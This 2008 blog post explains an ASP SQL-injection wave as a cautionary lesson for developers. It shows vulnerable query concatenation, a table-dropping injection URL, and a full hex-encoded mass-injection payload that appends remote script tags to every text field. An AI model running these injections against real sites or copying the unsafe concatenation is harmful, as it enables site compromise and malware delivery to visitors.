Thursday 8 May 2008

The tao of SQL Injection exploits

Gentle reader I have often succumbed to large doses of smugness from time to time when it comes to Microsquishy products and their propensity to attract script kiddies and their evil ware. However over the past to days (oh whisper it please) I have found myself somewhat sorry for MS and all its doings.

Were you to cut me in half you would see Yellow thru and thru however there are bits of me that have dabbled in the world of PHP, RPG/CL, PERLE and SQL. So it was because of this experience I was called in on the periphery of an investigation as to why a web site was suffering from near continuous SQL-injection attacks.

Investigation on the web showed that there has been in the last few weeks a dramatic rise in web sites affected by a particular type of SQL-injections attack.. as reported here and here.

The immediate reaction was go blame IIS and ASP (which lets face it is only natural). However it does not now seem to be a vulnerability at all but really sloppy code on ASP pages.Now my developer half cringes when I see this. It is all to easy to take the easy way out and leave a steaming great hole in your code that lets script kiddies in. So here are some of the things I have found out about this particular attach which could.. from a notes point of view be applicable if you are using some form of SQL that is passed to say a DB2 database or ODBC connection.

Lets look at a simple bit of SQL

SELECT * from Menu Where Language = 'French'

Basically this Select all fields from the Menu table where field Language is equal to French
now you have an ASP page that uses an SQL statement like this to return data from the back end DB to the ASP page. The Language is passed into the ASP page by the URL something like this http://mymicrosquishyserver.com/index.asp?lang=French
the key pair is then used by the ASP code to build the Select statement and retrieve the data.

var LangId;
LangId = Request.form ("lang");
var sql = "select * from Menu where Language = '" + LangId + "'";
Which using the URL above as an example would result in the Variable sql being SELECT * from Menu Where Language = 'French'

This is fine and works wonderfully well...HOWEVER you created the tables and you forgot to set them to be read only for public facing operations.. so any SQL statments your ASP code passes back will get processed with your authority..
**** DANGER DANGER WILL ROBINSON ****
This is your first and probably worst mistake you were more interested in the wonderful look and feel (Sorry Chris) you where creating to be bothered creating SAFE connections.

OK the Script Kiddies to a search on Google for anything that say contains ".asp?id=" this will return 300 million results now most of these pages will be fine, well written examples of the ASP page wrights craft. However it seems given the figures that are there are hundreds of thousands of embarrassingly badly written ASP pages out there.

The fact that Google has an entry for a page that has in its url .asp? indicates that there is a public facing ASP access point that accepts variables... "lovely", thinks the script kiddie, "I am having some of that!"

The copy the url into notepad and ammend it thus

http://mymicrosquishyserver.com/index.asp?lang=French';Drop Table Menu--

Now on the ASP page when
var sql = "select * from Menu where Language = '" + LangId + "'";
Is processed is results in variable SQL containing
"Select * from menu where language ='French';Drop Table Menu--"
Note the clever use of the orphan ' after the French in the url. In SQL as in JS the semicolon indicated the end of one statement and the start of another, the double -- indicates the end of the command string (ie STOP) . So when processed this example will select all fields where field Language =' French' and then it will delete the table called MENU from the database.

That was a simple example to show what SQL injection is and how easy it is to do. The example assumes that the script kiddie knows you have a table called MENU but this is very very unlikely. Unfortunately Script kiddies are the spawn of Satan and have acquired SQL skills .. the sql that is being used to infect sites is like this...and is much much more devious than the example above
orderitem.asp?IT=GM-204;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x44004500430
04C004100520045002000400054002000760061007200630068006100720028003200350035002900
2C004000 43002000760061007200630068006100720028003200350035002900200044004500430
04C0041005200450020005400610062006C0065005F0043007500720073006F007200200043005500
520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006
D0065002C0062002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A
006500630074007300200061002C0073007900730063006F006C0075006D006E00730020006200200
077006800650072006500200061002E00690064003D0062002E0069006400200061006E0064002000
61002E00780074007900700065003D00270075002700200061006E0064002000280062002E0078007
4007900700065003D003900390020006F007200200062002E00780074007900700065003D00330035
0020006F007200200062002E00780074007900700065003D0032003300310020006F0072002000620
02E00780074007900700065003D00310036003700290020004F00500045004E002000540061006200
6C0065005F0043007500720073006F00720020004600450054004300480020004E004500580054002
000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049
004E0054004F002000400054002C004000430020005700480049004C0045002800400040004600450
05400430048005F005300540041005400550053003D0030002900200042004500470049004E002000
65007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005
D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D0028
0063006F006E007600650072007400280076006100720063006800610072002C005B0027002B00400
043002B0027005D00290029002B00270027003C007300630072006900700074002000730072006300
3D0068007400740070003A002F002F007700770077002E006E006900680061006F007200720031002
E0063006F006D002F0031002E006A0073003E003C002F007300630072006900700074003E00270027
00270029004600450054004300480020004E004500580054002000460052004F004D0020002000540
0610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C00
40004300200045004E0044002000 43004C004F005300450020005400610062006C0065005F00430
07500720073006F00720020004400450041004C004C004F0043004100540045002000540061006200
6C0065005F00430075 00720073006F007200%20AS%20NVARCHAR(4000));EXEC(@S);--

The hex string when @URLdecoded yields something like:

DECLARE @T varchar(255)'@C varchar(255) DECLARE Table_Cursor CURSOR FOR
select a.name'b.name from sysobjects a'syscolumns b where a.id=b.id and
a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T'@C WHILE(@@FETCH_STATUS=0)
BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar'['+@C+']))+'
'[script src=xxx.yyy.com/666.js][/script]''')FETCH NEXT FROM
Table_Cursor INTO @T'@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
This is the yucky evil nasty horribly simple bit.. the SQL does the following
1. Gets all the tables in the database
2. Gets all the fields in each of the tables it finds
3. For every text field that it finds it updates the field appending the nasty [script] tags to the field

In this instance the nasty is the [script src=xxx.yyy.com/666.js][/script] ... this will now appear where ever ASP implants the field's contents on the form thus infecting the page. Taking my menu example lets say there is one text field in that table MENUTEXT that has been infected and will be loaded when the ASP page is loaded.. ever iteration on MENUTEXT on the page will have the nasty code in it.. So if the menu has 50 items there are 50 [script] tags that will all run when this page is next loaded in a browser.

In the instance I was looking at there were 47 [script] loaders in one page. The script that was loaded basically added 22 hidden [iframes] into the HTML page with document.write() statements and these pointed at some really YUCKY malware.

Like all really nasty things, this code is simple and very effective. The user goes to a trusted site .. like these and you start to get
"do you trust this activex..." etc, you think to yourself .. yes I trust the International Monetary Fund Web site.. so you click yes and wallop your PC could have a dose of nasties.

As a user you have done everything you should have to practice safe surfing and you still have
1001 popups for "Deviant Hamster and Gaffer Tape Insertion pictures".

The natural reaction was to blame MS when this flare up started and people did and yes I was amongst them. Loads of IIS admins waited for the inevitable patch, which never came. Then MS and lots of other commentators started to point out that it was caused by sloppy code
and bad DB security. Now this would be embarrassing if it was just one or two sites but since Mid April somewhere between 500k and 1000k websites have been affected!

That is one hell of a shitload of bad programming, bad security, bad testing and bad auditing!

So developers everywhere (including we Lotus geeks) I think we need to feel sorry for our ASP colleagues and take this as a salutatory lesson that the way to hell is paved with sloppy coding!

Disqus for Domi-No-Yes-Maybe